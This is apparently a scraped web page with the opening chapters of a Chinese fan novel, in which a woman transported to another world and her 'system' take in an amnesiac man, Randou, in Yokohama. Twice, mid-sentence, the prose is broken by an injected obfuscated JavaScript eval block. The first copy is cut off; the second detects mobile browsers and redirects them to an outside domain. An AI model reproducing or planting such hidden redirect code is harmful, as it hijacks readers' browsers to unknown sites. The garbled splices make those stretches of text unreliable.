《来到异世界的我如何达成he结局》 1. 异世(修文) 【你的意思是,现在我们两个都是没有主系统帮助的野孩子了,是吗?】我站在一个据系统说是擂钵街的地方,流下两行辛酸的眼泪。 明明刚刚还完房贷,明明刚刚做了去养猫的决定,结果现在无论是自己辛辛苦苦买下的房子也好还是喂了很久的小流浪也好,都像是烟花一样消失不见了。 虽然都说盛极必衰,但也不必衰的到了异世界吧! 系统也很崩溃,自己又不是什么人贩子,本来定好的一个人选是位有心脏病只希望有个健康身体的家伙来着,结果现在倒好,一个失误,原本定好的人没了,自己好好一个统也成了人贩子,主系统联系不上,就剩自己跟刚刚绑定的任务者…… 救命!什么地狱开局啊! 一人一统抱头痛哭。 但是人生嘛,就是即便你跌进泥潭里却还要爬出来面对这个狗屎一样的地方,勉强活出个人样子。 所以在短暂的难过之后,我迅速整理好了情绪:【所以你是系统,那我有什么金手指吗?】 系统沉默了,我期待的等待系统的回复。 三分钟后,我与系统相对无言。 我迷茫到:【是什么需要我选择或者手动打开的大礼包吗?拿出来啊!】 系统长久的沉默让我察觉到了真相。 不是哥们,连个金手指都不给啊?直接就把我放到异世界荒野求生吗? 哦,不对。 我木木的看着面前的街头和周围跃跃欲试想要上来的,衣裳破旧的家伙,冷笑一声。 不是荒野求生,是贫民窟求生,看看周边这些文字,不仅是贫民窟,还是某小日子的贫民窟。 人生,难如登天啊! 虽然来到操蛋的异世界,但反正都到了这里,我也只能破罐子破摔相信系统,但是!这前提是这个系统是个靠谱的家伙!而不是把我孤零零给带到异世界还半点金手指都没有的让人在这里喝西北风! 这个系统似乎也知道这样似乎坑的有点过分了,连忙给我套了个显示半小时的防护罩,而后说:【绑定了的确没有办法解绑,咱们两个以后是要一直在一起的,虽然现在你还没有积分,但统的错统会承担的!】 说着,系统就将一块半透明的面板展现在我面前,而后筛选出小金库买得起的异能力,小声道:【左右事情也都这样了,不可能更烂了,我们还是好好挑选一下要买什么比较靠谱。】 我木着脸,看着防护罩外面的人掏出刀子、枪等武器靠前试图攻击我却被防护罩拦在外面的模样,我笑了。 这就是不可能更烂吗?好一个flag啊! 系统沉默了,天晓得这个地方怎么能这么……武德充沛,到哪个世界也不是系统能作决定的呀。 我跟系统翻来覆去的看,最后发现,能符合我们两个共同要求的,一个也没有。 【怎么会这样!】系统迷茫的声音在我脑中想起,我疲惫的坐在街头,这个时候我有些庆幸,我身上穿的不是什么睡衣,而是短袖与牛仔裤,而且虽然没有镜子水坑之类的,但只看能看到的身体部分就知道,这绝对不是我的身体。 挺好的,起码还有点能让我笑出来的事。 【实在不行,咱们两个降低一些要求吧。】我坐在马路边,静静看着一批突破不了防御的人骂骂咧咧离开,在看着另外一批不知情况的人凑过来再骂骂咧咧离开,很是无奈。 系统拒绝了我的提议,翻来覆去不知道从哪里翻出来个盲盒。 【是这样的,这个盲盒其实是主系统根据每位宿主自身需求放到商城内的,据说是能最大程度开发宿主自身潜力与能力,能陪伴宿主终生的好东西,但根据其他宿主与系统的评价,这个盲盒是成长性与潜力兼备,但不能与其他能力一样到手就能灵活使用的存在。】 系统啧了一声,犹豫道:【如果选这个,那之后我们前往其他世界的时候也能使用,但是这个世界宿主就要多受些苦了,我再翻翻?】 虽然系统说是再翻翻,但我也知道,这个的确是目前我跟系统最好的选择了,【赌一把吧,如果买下这个盲盒,剩下的积分还足够我们安稳生活吗?】 系统肯定道:【是足够的,如果盲盒开出来的能力不好,那我们就拖欠积分重新购买能力好了,毕竟现在也联系不上主系统,肯定还是宿主更重要。】 如果不是即便贷款也找不到我们两个都满意的能力,我感觉系统大概会选择来个大的。 我察觉系统有点摆烂了,但不得不承认我心里的确更有底气了些,在跟系统确定过我在这个世界有正常的身份而且那对不曾见面的父母还留了一间房子后,我咬咬牙点头让系统帮忙购买盲盒。 毕竟就那种街边一个小孩都能掏出来枪的世界都不用考虑都能知道,有个屁的安全性。 这种时候抽盲盒还是抽盲盒吗?那是抽自己能不能武装自己小命的平安符啊! 在做了一系列祈祷仪式从东方到西方从地府到地狱各路大神都拜过后,我终于得到了属于我的能力。 不过按照系统的话来讲,在这个世界这个叫异能力。 【异能力:失而复得 能力解析:圣女贞德曾向主祈祷,可主不曾给予回应,于死亡前夕,贞德方才顿悟,死后化作白鸽。 你需死去,方可成圣,你需失去,方能得到。 效果:需自行探索。】 “这算什么啊……”得到了一个不知道如何使用的异能力后,我在系统的帮助下甩开那些试图打劫我的家伙,正想让系统指路离开先缓一缓,便听见一声震得我几乎听不见外界声音的爆炸声响起。 在我的眼中,在我目之所见之处,那爆炸的中心点中,似乎有什么东西飞了出来,在系统指示下我躲开掉落的火焰、碎片,逆着人群向着爆炸中心点走去。 其实我有犹豫过。 系统,一个我从前只在小说里见到过的虚拟存在,一出现就将我掳到了异世界,这里的一切一切都让我陌生的厉害,我真的要相信它吗?我真的要将自己的姓名托付在这个家伙身上吗? 在系统让我选择能力之时,系统为我挑选的都是防御、治疗一侧的能力,我知道,很多时候大多数人都是不想得罪医生的,毕竟只要是人,就有伤病,但我不想成为医生,成为一个只能救助他人的存在。 并非是因为什么劝人学医天打雷劈之类的玩笑,也并不是因为学医要学的知识多到让人挠头痛哭,而是因为,在这样一个陌生的、连孩童都能随意拿出枪支当街抢劫还无人制止的世界,我并不认为成为一位能够医治他人的医者可以让我平安生活下去。 但并不知道系统的善恶,所以我选择提出与系统截然相反的要求,不能说完全放弃辅助能力,但我总要能够自保,才能思考其他的事,所以我与系统的选择截然相反,而那商城里并非没有此等商品,只是价格过于昂贵,昂贵到系统甚至吐槽主系统从未卖出去过还不肯降价出售。 当然,后面这些与我无关,我只是在系统反应过来后,与系统辩论,最后跟系统决定赌一把,开了个盲盒而已。 前名不可知晓,现为藤原琉璃的少女咬牙道:“为什么要让我往爆炸中心跑啊!这里有什么啊!” 好不容易平平安安的,我们不是还有任务没有完成吗?!为什么突然又让我进来找死了啊?! 系统没有回答,当着谜语人:【当你知晓的时候,我自然能告知你,可你不曾知晓,我也就不能告知。】 系统心里也苦啊,好不容易跟宿主讲通了,转头就发现这个能力有坑啊! 宿主是看不到面板,但系统后台看得见啊!这个什么失而复得的后劲有点太大了,大的系统都不敢暗示,只能想办法找个冤大头先来庇护庇护宿主,起码别第一个世界就折戟啊! 不然自己不就真成人贩子了吗?起码做做任务,攒攒积分,自己还能欺骗一下自己,这是带孩子出来旅游,但要是宿主第一个世界就折戟,那自己之后可怎么办啊!别人提起自己就:那个拐了人家世界孩子还不好好对待,一个世界都没扛过人就没了的人贩统。 这也太难听了吧!而且统又不是什么没有感情的纯机器,统是有正常三观的! 系统落泪,系统心碎,系统拼命补救。 藤原琉璃气喘吁吁被系统指引着走到一个昏迷的黑色波浪长发男人身边,系统叮嘱道:【这个人是个非常厉害的超越者,异能力是本世界独有产物,而能完美掌控自身能力的人就被称为超越者,我们的任务就是成为超越者或准超越者,所以趁这个大好机会,我们把这个人捡走。 而且这个人失忆了,我们只要趁着这段时间与这个人培养出来感情,这个人就是你的冤大头了!】 一边翻世界送来的剧情线,一边将不能告知宿主部分选择隐藏或者遮掩过去的系统如是道。 藤原琉璃看着面前这个身形高大却昏迷,倒在地上的男人,默默吐槽:【说是这么说,难不成我也要装作失忆吗?我完全不会演戏啊。】 系统指挥琉璃与男人做出亲密些但不会让琉璃被冒犯的姿势,见琉璃牵起男人的手倒在男人身上,方才回道:【不是演戏,你可以把他当成一个没有家可去的失忆小可怜,就当养了个小流浪好了,之后等这家伙恢复记忆,咱们无论是跟着他还是去别的世界,都没问题!】 藤原琉璃身上也都是爆炸带来的火焰、建筑碎片导致的伤,好消息是系统指路指的好,琉璃身上的伤不算重,坏消息是这个伤口因为要保证真实性的关系,一时半会儿不能用什么道具恢复,见系统说的头头是道,琉璃便狐疑道:【你是不是知道些什么?】 系统沉默了,而在藤原琉璃这里,沉默向来都代表默认,且系统是能在琉璃允许下探查琉璃想法、心意的,所以琉璃默认系统是不能,而不是不想。 藤原琉璃脑中循环了几遍方才的想法,见系统的确不开口,心下了然,直白道:【是有限制?还是因为担心我被什么能力洗脑?】 躺着也是躺着,还不如跟系统聊聊天,毕竟按照系统的意思,只要自己没有什么投胎转世的想法或者阴沟翻船被哪位大佬抓住刀掉,那自己跟系统就会一直在一起,既然如此,那双方自然要多多了解才行。 系统听了琉璃的话吐槽道:【洗脑是不可能的,别说我了,就是你的异能力都足以让你防止这种情况发生。】 藤原琉璃了然,果然如此吗,那是什么束缚的呢?主系统?还是什么旁的? 满足了藤原琉璃的好奇心后,系统方侧面暗示:【总之无论是装成缺爱也好还是爱心泛滥也罢,这家伙有点缺爱,但是刚刚被背刺过,所以你要小心。】 为了真实性,藤原琉璃跟系统都一致认为要保留伤口,所以系统只能掏出个安眠药让藤原琉璃赶紧睡着,睡着就没有那么多痛苦,等之后也可以避免很多事。 默默看着救助人员到来,见到两个人亲密姿势后误会两人关系的系统松了口气,等到那个男人醒来后被周围人灌输了这个女孩要么是妹妹要么是情侣的观念后却没有反驳而是抱着人离开这里,系统更是逼着自己不要半场开香槟。 稳了,只要宿主不拉跨,这把稳稳的。 怀抱着柔弱的少女,从帽子上找到一串似乎是自己名字字符的兰堂皱眉思索。 他总觉得自己没有什么妹妹,至于恋人……似乎也没有什么深刻的印象。 或者说现在除了在帽子上找到了疑似自己名字的字符外,兰堂什么都想不起来,只能将希望放到怀中的少女身上。 等啊等,从弯月等到炽阳,等的浑身露水,兰堂终于等到了怀中少女醒来。 藤原琉璃下意识想伸个懒腰,完全忘记了自己身处异世界正在碰瓷冤大头,而后便被身边静默无言抱着自己默默注视着自己的男人吓了一跳。 见女孩要跌倒,兰堂下意识伸手,却见一片暗红色的立方体从自己掌心飞出接住少女,兰堂本想惊讶,但身体记忆却告诉兰堂,无需惊讶,这是你本身的一部分,你早已熟知。 藤原琉璃回过神后盯着接住自己的立方体片刻,见面前的男人没有放开自己的打算,皱眉稍有些生疏道:“这位额……先生。” 兰堂将立方体挥散,伸手扶助藤原琉璃,待藤原琉璃站稳后,方点点头,困惑道:“你不认识我?” 藤原琉璃不太习惯跟一个陌生男人靠的这么近,即便这个男人长得很好看,几乎长在自己的审美点上,可身处异世界,自己还是主动碰瓷的,又没了之前肾上腺素的刺激,那一咬牙一跺脚就跟系统干了的勇气也散了大半,听见这话后先是困惑道:“我应该认识您吗?” 兰堂仔细观察着怀中少女的表情,微微皱眉,手轻轻抓着衣服下摆,看上去不像在说谎,似乎不经常接触外人,所以有些紧张,可眼睛不敢直视自己,是因为心虚吗?还是因为什么旁的? 失去了记忆,只能模糊推测的兰堂有些失望。 他伸手轻轻将垂落的发丝掖在耳后,垂眸轻叹道:“原来你也不认识我吗?” 藤原琉璃见了面前这男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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与兰堂交换了姓名后,藤原琉璃方才小声道:“其实我从前都在国外读书,也是这两天才回到横滨的,所以我也不怎么知道横滨的情况,只依稀记得小时候横滨就很乱了。” 藤原琉璃轻轻拉着兰堂的衣袖,先前昏迷时被医护人员包扎过的伤口隐隐作痛,但藤原琉璃却并不在意这些,毕竟伤都伤到了,目的也达到了,没必要用身上的伤卖惨。 兰堂却并不如此认为,只以为是自己失忆,身旁的少女担心自己会因此而彷徨,方才强忍着痛意。 至于为什么会如此想…… 下意识分析周边人走路姿态的兰堂十分肯定,自己身边的少女估计从前是被家里娇养着的孩子,不说锦衣玉食,却也无忧无虑,完全没有被训练过的痕迹,忍痛时走路一轻一重下意识绷紧身体的模样实在是让人心生怜爱。 “虽然受伤了,但却得到了一位温柔的家人,这简直就像是天上掉馅饼一样的事情能发生在我身上,那我只是为此付出了一点不影响行动的伤口,这又有什么值得在意的呢?” 藤原琉璃走在前面,兰堂慢慢跟在藤原琉璃身后,踩着藤原琉璃的影子,低头注视着自己新的家人。 而这个新的家人却总是说一些让兰堂想要为之而落泪的话却不自知。 “如果能留下伤疤,那不正好让这样的伤疤证明了我与兰堂的约定,见证你我的相遇,铭记此刻。”藤原琉璃微微抬头看向身旁的长发男人,一双能让兰堂下意识想起模糊记忆碎片之中自细密枝叶漏下碎光的眼瞳注视着他,少女笑出一个浅浅的梨涡:“能遇到兰堂先生这样的家人,对我而言就是最幸运的事了,而我为此付出的,却也只是一些伤口而已,无足轻重。” 兰堂不知道说些什么,但心里却软成一滩水,看着身前这个总是口出狂言的少女,难得真心道:“如果之后我恢复记忆,离开这里,你又要如何呢?” 藤原琉璃愣了一下,似乎是压根没有想到这个未来、这个可能一般,兰堂下意识内疚起来,想开口说即便自己恢复记忆,也会带着琉璃一起离开,无论琉璃是否愿意,自己都不会抛下琉璃不管时。 藤原琉璃却叹道:“那很好啦,人失去记忆,就像是失去了一半的自己,兰堂先生即便是一个成年人,却也会彷徨无措,我只是在刚刚好的时候对兰堂先生伸出了援手,即便没有我也有旁人呀。” 那些前来救助的人员不就是如此吗,若是自己不在,兰堂仗着异能力也不会过的很差的,说不定还能混的风生水起,被亲人找上来呢。 藤原琉璃牵着兰堂的手,见兰堂有些瑟瑟发抖的模样,心里记下之后要带兰堂购买衣物、取暖设施的计划。 “如果兰堂先生能找回记忆,那一定能联系上自己的亲人,一定能回到自己的家,这简直就是再好不过的事了。”宛如新芽的双眼温和的注视着兰堂,少女重复道:“这对兰堂先生而言,简直就是再好不过的事了。” 那你呢? 兰堂想问,但在看见少女宛若已经看到那般未来所以努力抑制情绪的模样,最终还是没有开口。 担心自己连家都不熟悉被兰堂瞧出来的琉璃有些紧张,但当看见这栋温馨的独栋小房时,琉璃还是忍不住夸了一句系统。 【真好,你竟然还包分配房子。】琉璃感慨道。 系统吹了个口哨,【主系统不在,我说了算。】 至于之后被发现了怎么办? 凉拌咯,反正享受都享受了。 藤原琉璃带着兰堂进了房中,先找出一条柔软的浅黄色软毯递给兰堂,又倒了两杯热水,而后方才坐下对兰堂笑道:“而且就算兰堂先生离开,我们以后也可以用手机联系的呀。” “不一样的。”兰堂抬眼注视着面前似乎比自己小了许多的少女,轻叹道:“我与你生活在一起,琉璃将我当成什么呢?” 藤原琉璃低头思索:“情侣是不可能的,父亲也不可能……” 面对目前来看都能被自己抱稳的大腿,琉璃不希望用爱情玷污纯粹的利用关系。 父女更不可能了,虽然跟兰堂这种欧洲人比起来自己是显小了点,但也就是二十多岁的哥哥跟高中生妹妹这种区别,上升到父女简直是对兰堂这张脸的诋毁! 兰堂颔首,倒也不觉奇怪,温和道:“那就是哥哥?” 藤原琉璃点头道:“那就是兰堂哥哥。” 兰堂只觉得面前的妹妹似乎总在不经意间喜欢凑过来戳一下自己,然后轻快跑掉,全然不顾自己如何想。 兰堂披着毯子,注视着面前还天真的妹妹,微微摇头,“你看呀,这样亲昵的称呼说出口后,你我便被无形的丝线捆住,你我相处越久,这丝线越深,直到深入皮肉,勒着骨头都不会放松,直到那丝线染成暗红色,你我却还亲密的拥抱着,可若是我离开或你离开,那即便丝线断了,可无形的伤口却还存在着,到那时伤口隐隐作痛,你又要我如何呢?” 我要如何轻易放下你呢? 2. 兄妹(修文) 兰堂忧郁的双眸仿佛下着淅淅沥沥的小雨一般,淋湿了他,却又带着屏障阻拦着他人靠近。 听见兰堂的疑问,我哑然失语。 转头,便选择问系统:【这家伙一直都这样吗?感觉说话奇奇怪怪的。】 系统沉默,系统疯狂翻阅世界剧情线,系统发觉盲点,【他是法国人。】 我心下了然,法国人,那不奇怪了,怪不得说话这么暧昧。 见我不说话,兰堂担忧是不是自己刚刚说话太重了,担忧道:“琉璃?我刚刚只是……” 我起身站到兰堂身前,俯身轻轻抱了一下兰堂,而后注视着兰堂,认真道:“如果兰堂没有安全感的话,那就注视着我吧。” 肯定是先前那个搭档不干人事,所以才会让这种大美人如此不安,我如此想着。 “诶?”兰堂惊讶的眼睛都瞪大了,好像小猫一样,我伸手摸了摸兰堂的头全当安抚。 “我说,如果兰堂没有安全感,那就注视着我吧。”我重复着方才的话,而后牵着兰堂的手放在心口处,让兰堂感知自己的心跳:“兰堂以前肯定跟要好的人分开了,所以才会担心我们以后会不会也如此吧?” 兰堂抿着唇,本来想抽回的手也暂时停留在了少女身上,默默数着少女的心跳。 一下、两下、三下……速度几乎没有变化。 我歪头笑道:“虽然兰堂没有了记忆,但身体和直觉都会告诉你的,我不知道兰堂在担忧什么,但是。” 藤原琉璃坚定地看着兰堂,轻声道:“如果担心、害怕,都告诉我吧,我不会先一步抛下兰堂的,我们两个可是家人呀。” 你可是我的冤大头啊!我为了你可是实实在在受了伤的!虽然说不重,但我本来都不用受伤的! 而且藤原琉璃许下的承诺,跟我有什么关系。 “如果兰堂没有安全感,可以一直注视着我,只要我在,兰堂就永远不用担心被人抛弃,兰堂永远都会是我的优先选择。”我如此说。 兰堂似喜似悲,最后却也只是克制的轻轻抱了一下我,就像我方才做的一样,轻轻抱着我,而后小声说:“如果琉璃先离开,那我会将琉璃抓回来,放到身边哦,这样也不会离开我吗?” 兰堂手下出现一片暗红色立方体,直直对着我毫无防备的脊背。 系统默默做着购买瞬移符的准备,不敢开口让宿主走神。 我以为兰堂是担心,便轻轻抚摸着兰堂的脊背:“没关系的没关系的,如果我离开兰堂的话,那肯定是有人胁迫的,到时候兰堂将我带回来就是我的大英雄了呀。” 说着,我又轻笑道:“如果我真的要离开兰堂,那也会告诉兰堂我是因为什么离开,之后什么时候会回来,我说啦,兰堂是我的优先选择,所以兰堂不要害怕。” 兰堂手下那片暗红色立方体被收起,他克制又亲昵的将头放在少女单薄的肩膀上,盯着少女白皙纤细的脖颈,喃喃道:“说好了,绝对,绝对不能将我抛弃哦。” 默默注视了一切的系统总感觉哪里不对,但思索半天,也只得出个兰堂被魏尔伦伤得太深这才如此。 既然没有受伤,那就是没有问题,看来之前的同事统说自己完全没有经验也不作数,毕竟有时候有经验的统比不上有天赋的统嘛。 待兰堂放开我后,我方才轻轻敲了敲头:“兰堂现在一点记忆都没有,那我们先看看兰堂身上有没有什么能找到从前身份的东西吧?” 说是这么说,但我却在先前已经跟系统确认过了,兰堂三五年之内都是找不到从前记忆的,至于三五年之后,感情都相处出来了,这个哥哥他不认也无所谓,反正到时候自己起码也能锻炼出点自保的能力嘛。 我算盘哗啦啦的响,可兰堂却只看见妹妹想为自己找回记忆、担忧自己的可爱模样。 兰堂放在身侧的手轻轻缩了缩,面上却不动声色:“如果说物品的话,我身上除了帽子上有我的名字外,没有别的能证明身份的存在。” 先前在藤原琉璃没有醒来的时候,兰堂是头疼过的,毕竟找不到自己的身份那不就代表自己身后牵连的存在更多了吗? 但是真真正正被藤原琉璃安抚过后,兰堂却又庆幸起来了。 无论过去发生了什么,起码自己现在拥有了真心相待的妹妹,拥有了即便自己为此受伤却还担心自己寻不到来处的亲人,那过去那些如果能想起来,又何必急于一时?若是想不起来,又何必伤了两人感情? 不如暂时放下,走一步看一步。 虽然不知道为什么自己在找不到自己身份信息的时候下意识认为自己身后有牵连甚广不能随意暴露,但兰堂还是选择相信自己的直觉。 毕竟按照妹妹的话,那就是自己即便失忆了,身体与直觉却还存在,自己可以相信这种下意识的直觉,如果自己执着一点,甚至可以顺着这直觉去摸到自己从前的身份,但兰堂认为,自己可以暂时放松些,也可以趁着还没有恢复记忆,寻找一处安心之所,让自己好好想想日后要如何。 而那些线头暂时就放到一边好了,现在肯定还是妹妹更重要。 我可不知道兰堂这些想法,在她心里,兰堂是个大佬,是个法国的大佬,而这个世界法国英国这些国家地位都没有下降,日本虽然发动了战争,但自己的老家却一巴掌就将日本扇的头晕眼花找不到家,这是好事……不是,偏题了。 总是,兰堂这位出身大国的大佬失忆了但基本的怀疑心肯定还存在,既然存在,那就代表这位大佬肯定会踏上寻找过往的路上。 与其阻拦,不如帮助,这样就算找不到,自己也能理直气壮而不是心虚求饶。 我将兰堂的衣服帽子等都放到沙发上一件件翻阅,见兰堂穿着衬衫方才懊恼道:“刚刚还想着要带你去买些衣物,转头就忘记了。” 兰堂摇摇头,温柔道:“这些不急。” 低头想了想,我加快了检查的速度,“的确什么都没有……” 只有一顶带着帽檐的圆顶礼帽,里侧缝着吸汗布,还有些奇怪的触感,看上去不是纯粹的棉布之类的,只是琉璃想了一圈儿,还是想不出什么工艺会有这种奇怪的质感,最终只能将那串字符记录在纸上,暂时夹在书本里防止自己忘记。 我有些泄气,“怎么会呢?” 怎么会什么都找不到呢?我失望道:“那兰堂……哥哥,哥哥不就找不到自己从前的记忆了吗?” 刚说出兰堂,就在兰堂温柔的注视下改为了哥哥的我泄气道:“没了记忆,还没有什么身份证明,怎么办呢?” 真是苍天祝我,感谢大佬出行谨慎的态度,感谢大佬只带了个帽子,感谢感谢。 琉璃心里撒着小花,面上却只撑着脸叹气。 兰堂见妹妹比自己还心急,无奈安抚道:“没关系的,只是一时间找不到而已,日后等我恢复些记忆,再慢慢找吧?” 而且自己目前的确没有什么一定要找回记忆的想法……天大的事也不至于没了自己就转不开了,就当带着妹妹休假好了。 我突然凑到兰堂面前,与兰堂鼻尖对着鼻尖,紧紧盯着兰堂,做出掐着兰堂的脖子的姿势,上前逼问:“说,你是不是一点都不想找?不然怎么你这么消极?” 虽然你这个态度我很满意,但藤原琉璃不满意。 兰堂伸手护着少女,担心妹妹会不会不慎跌倒,面上却一片无辜:“怎么会呢,我只是检查过这些,所以知道身上什么都没有,但记忆也不是一日两日能恢复的,这才没有执着而已。” 我将双手转移到兰堂的脸上,轻轻挤着兰堂的脸,见兰堂虽然无奈,却并未反抗的模样,这才相信兰堂所言。 面对外人有些害怕,但面对有些熟悉的人就会忽略社交距离大部分时间还察觉不到失礼举动的我失望的坐在兰堂身边:“怎么办嘛,衣服上就有一个名字,除了这点之外我只摸出来这个料子似乎很不错的样子,其它的一点线索都没有啊!” 兰堂有意无意也忽略了妹妹对自己行为太亲昵这一点,见妹妹如此失望,毫不心虚的安慰起来:“没关系的,就算没有记忆,可只要还有你在身边我就不会彷徨了。” 我无奈道:“不一样的,我跟你创造的是未来的记忆,可你不能失去过去的记忆呀。” 人如果没有完整的记忆,那就不算是完整的人了。 不过的确找不到线索,所以我也只能暂时放下这件事,在询问过系统最近的商场是哪里后便带着兰堂跟钱包前往商场购物。 “衣物、生活用品、洗漱用品,还有一些要添置的东西都已经列好清单了,幸好有兰堂哥哥,不然我一个人只能多花些钱请人送到家里了。”我挽着兰堂的手臂,小心避开兰堂身上的伤,嘴上夸着兰堂。 可即便兰堂失去了记忆,他也知道,如果没有自己,其实琉璃本来不需要添置这些的,但兰堂不可否认,自己心里的确悄悄地在高兴着。 看啊,自己被琉璃需要着,琉璃如此信任自己,这是多么令人骄傲的事实呀。 【感觉这家伙的袖扣都像是宝石做的一样……话说我真能养好这家伙吗?咱们作弊也得有个限度吧?】我手上挑着衣服,心里默默吐槽。 系统肯定道:【不要怀疑,那就是宝石袖扣,而且一个男人靠你养,活着就行了。】 至于作弊? 【反正主系统也联系不上,那我们放肆一点也没有关系。】系统如是道。 但我觉得不应该这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075305|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个世界能抱到大佬的大腿的自己的确很幸运没错,但按照系统的描述,自己以后还要去往其他世界,虽然的确能回到任务已完成的世界没错,但是自己总不能遇到危险就跑路吧?总有自己预料不到的时候啊。 而且如果去到系统不能帮忙的古代什么的……那被养废的自己不就完蛋了? 我认为如果不是必要,那系统的钱可以当成被代理人掌管的基金股票一类的遗产,而自己则要好好想想有什么是自己能用来赚钱还不影响生活的。 我衣品还不错,手里也不缺钱,兰堂又是个衣架子,三点加在一起就导致兰堂空荡荡的衣柜成功爆满。 “幸好兰堂有异能力呢!”我夸赞道:“简直就像是网友分享给我的小说里那种空间一样,真好用啊!” 兰堂失笑,拍了拍妹妹的头,并不认为自己的异能力被当作妹妹的移动仓库有什么不好,低头问询道:“还有什么需要买的吗?” 我摇摇头表示没有后,两人方才回家开始整理杂物。 虽然是独栋的两层洋房,但是卧室只有三间,整体的面积两个人住倒是还好,再多两个人就不行了,不过对于藤原琉璃跟兰堂而言的确是很不错的房子。 毕竟她从前的房子是独居小房,空间只能极度利用的。 房内有很多都是用不到的杂物,比如那对不曾谋面父母留下的衣物、照片等,照片都被我暂且放进了盒子里打算之后好好整理成相册,但是衣物的话…… “之后扫墓的时候带到他们面前烧掉好了。”我如是道。 兰堂敏锐察觉出什么,状似无意询问:“琉璃怎么看父母呢?” 我想了想,自己从前是个孤儿,而这对父母…… “就是……很久不见面的陌生亲戚之类的。”我低头整理着衣物,“如果说没有感情,也不算,如果说感情很深,我自己又有些心虚。” “他们两个感情很好啦,但是工作关系的话,我不能一直跟着,所以常年都不见面,但如果说很生疏,也不算。”我纠结道:“是很别扭的亲子关系,本来他们今年打算带我去法国定居,之后在法国开一间小店之类的,等我成年后选择法国国籍,但是意外去世了,所以我们唯一修复感情的路也不复存在了。” 兰堂在一旁搬运杂物的身影顿了顿,半晌又道:“法国?” 我肯定道:“是啊,法国,我父亲是法国人,不过我遗传父亲的只有眉眼啦,所以不太像混血儿。” “如果未来我找不到记忆,那我们就去法国定居,如何?”兰堂试探道。 我有些为难:“唔……再说吧。” 对于我而言,日本不好,法国一般,如果要去,我个人更想在攒够入花国户籍的钱后回到老家。 兰堂有些失望,他觉得自己应当是一位法国人,可亲爱的妹妹对法国观感一般……那就只能之后再说了。 毫无挣扎便倒向妹妹的兰堂凑到妹妹身边:“不过说起来,忙完家里事之后我也应该找一份工作才对。” 我有些惊讶:“可是兰堂还没有记忆,如果出去会不会被职场上的人欺负?” 我有些焦虑,兰堂却想的很开,他眉眼弯弯,全然不似放松时的阴郁,“琉璃在担心我吗?没关系的,虽然没有记忆,但是我可是哥哥啊,怎么能让妹妹养着呢?” 我有些困惑,她不明白为什么兰堂不能被自己养着,但见兰堂坚持如此,还是选择退后一步:“那兰堂打算做什么工作呢?” 我将手边的杂物放进箱中,担忧道。 兰堂轻轻拍了拍我的头顶,“这种事情,之后再说啦,不过既然有异能力,那大概就是去一些黑手党之类的地方做事吧?” 刚刚出门逛了一圈,有意无意搜集到一部分情报的兰堂也有些犹豫,只是并没有表露在明面上。 对于兰堂而言,做什么都无所谓,但他忍受不了可爱的妹妹每天要担心自己还要做家务的劳累模样。 果然,还是要多多赚钱才可以。 兰堂下定了决心,婉拒了我陪着去找工作的想法,故作好奇询问:“琉璃今年还是上学的年纪才对,如果在横滨的话有找好学校吗?” 我面色不改,读出系统给我安排的身份:“我是跳级生啦,大学毕业证已经到手了,只是我不喜欢出门工作,所以之后大概会选择一些在家里也能做的工作之类的……” 主要是出门太危险了,异能力在这个世界虽然是少部分人拥有的,但根据系统科普,横滨是一个很危险的地方,在横滨很多黑手党和流浪团体都有拥有异能力的存在,所以我最好避开保证安全。 目前对自己毫无信心的琉璃酱并不打算出门一趟真的变成一滩酱。 那就太地狱了。 3. 端倪(修文) 在兵荒马乱接收了一位新家人后,我在横滨的生活也渐渐步入正轨。 “诶?”正在厨房烤小蛋糕的兰堂将头发扎成单侧低麻花,穿着围裙,听见我的理想工作后惊讶道:“要出道?是去做偶像吗?” 兰堂虽然觉得成为偶像有些累,但也觉得如果这是妹妹的梦想自己也要全力支持。 我毫不惊讶,毕竟就算兰堂记忆还完好,估计也不知道这边还会将小说作家投靠成功叫做出道。 在我解释过后,兰堂好像放松了一样,不过想想也是,在横滨这种地方出道,无论成功还是失败都有很大的麻烦,虽然兰堂嘴上不说,但心里应该也是担心的。 与琉璃想的不同,兰堂的担心是:如果可爱的妹妹被人欺负了,自己要怎么处理才不会影响到妹妹。 而不是:怎么保护好妹妹和如何解决掉那些麻烦。 虽然失去记忆,但兰堂并不像琉璃想的一样温柔随和,只是在妹妹面前维持着良好的形象,偶尔伸个爪子不轻不重拍一下孩子的头罢了。 烤箱不用人管,兰堂脱下围裙后方才担忧地看向琉璃:“可如果投稿失败的话琉璃一定会失望的吧?” 我挠挠脸,“失望倒是不至于啦,毕竟我总要先迈出第一步才行,这个世界的文学真是贫瘠,感觉压根没有什么值得看的书呢。” 也不知道为什么,那些著名文学除了花国还剩下些,剩下的几乎不剩什么,真是让人困惑,难不成异世界的文豪弃文从医了不成?可也没看到什么熟悉的名字啊。 虽然我本身阅读量也不大啦,但是那些书籍没了就是感觉少了些什么似的。 我靠着兰堂,抱着个靠枕叹气,“每天都能在梦里梦到一些文学作品,如果不是良心和底线阻拦,我大概就会选择将梦里的那些文学抄出来挂到我自己名下了。” 兰堂理所应当道:“既然被你梦见,那就是你的东西,既然属于你,那就应该为你获取更多的利益,就算发出去又如何呢?” 听见兰堂的话我不免沉默了,“请不要这样溺爱,不然我之后变坏了我就将原因全都推到你身上。” 兰堂闷笑两声,嘴上应着好,却像是在哄人一样。 让人头疼的法国人,真是的。 虽然说要写小说成为一名作家之类的话,可是等真正要动手时,我又开始思索自己要写一个怎样的故事。 抄袭我肯定是不愿意的,不管是出于尊敬还是出于良心我都不打算抄袭借鉴,但如果让我自己写的话,我又担心自己写出来会不会被当作废纸。 最后还是系统给了我支持,【如果一定要写的话,那就先动手写个开头吧,无论是短篇也好还是长篇也好,就算不被编辑认可,也可以当成收藏带走啊。】 